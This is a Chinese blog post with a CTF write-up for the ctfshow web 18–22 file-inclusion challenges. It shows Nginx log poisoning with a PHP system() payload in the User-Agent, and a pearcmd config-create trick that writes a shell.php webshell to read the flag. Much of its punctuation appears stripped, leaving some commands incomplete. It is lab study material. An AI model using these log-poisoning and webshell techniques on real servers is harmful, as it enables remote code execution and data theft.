尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

CTFSHOW-WEB(萌新18-22)

CTFSHOW-WEB(萌新18-22) web181.本题比上一题多过滤了一个file但是和上一题的思路一样Nginx 访问日志路径/var/log/nginx/access.log不包含 php、file 这两个被拦截字符串所以上一题的日志投毒方法依然可以直接使用。2.按照上面的思路我们直接进行操作日志投毒注入 PHP 代码进 Nginx 日志curl -H User-Agent: ?php system(cat *);? https://e2e6db13-f807-461a-b278-4c693d08c265.challenge.ctf.show/这个是可以直接在自己的终端打开然后输入这个指令进行操作的访问包含日志触发代码执行打开浏览器访问链接https://e2e6db13-f807-461a-b278-4c693d08c265.challenge.ctf.show/?c/var/log/nginx/access.log然后查看页面源代码即可看到flag3.或者如果是用bp抓包的话也可以访问靶场首页抓包发送到 Repeater修改请求头User-Agent: ?php system(cat *);?Send 发送投毒再构造 GET 请求GET /?c/var/log/nginx/access.log HTTP/1.1发送响应内容里寻找ctfshow{}web191.这里又多过滤了一个base编码但是好像和我们的方法没什么冲突可以继续执行按照上一题步骤继续执行就是靶场地址改一下就行了web20-web21和上面的一样web221.这个题目和上面的有不一样了他过滤了/禁止传路径并且后面会自动加上一个.php的后缀所以说不能和上面投毒一样三重限制让前面所有日志投毒、伪协议方案全部失效禁止冒号:→ 废掉php://、data://所有流伪协议禁止/和\→ 不能使用绝对路径、目录穿越、Nginx 日志路径/var/log/nginx/access.log自动追加.php→ include 最终加载传入的值.php只能包含 php 后缀文件2.curl 发送请求写入 shell.phpcurl 将未经转义的原始字符串发送到靶场/tmp/?readfile(36d.php)?$cpearcmd通过过滤规则执行include(pearcmd.php)PHP 开启register_argc_argvOn查询字符串按照分割填充$_SERVER[argv]pearcmd 接收config-create命令生成 PEAR 序列化配置文件原样保存我们传入的? ... ?文件写入网站根目录/var/www/html/shell.phpcurl https://00907d9c-d2dd-48e1-98b5-b1055cb38527.challenge.ctf.show/?cpearcmdconfig-create/tmp/?readfile(36d.php)?/var/www/html/shell.php外层双引号作用让终端把整条链接当成单个参数防止被系统识别为后台运行指令。3.浏览器访问触发代码执行$cshell放行执行include(shell.php)PHP include 机制不校验文件后缀、不校验文件头部全文扫描寻找 PHP 标签文本内找到短标签?readfile(36d.php)?立刻执行readfile()读取 flag 文件36d.php直接输出源码得到 flaghttps://00907d9c-d2dd-48e1-98b5-b1055cb38527.challenge.ctf.show/?cshell
返回列表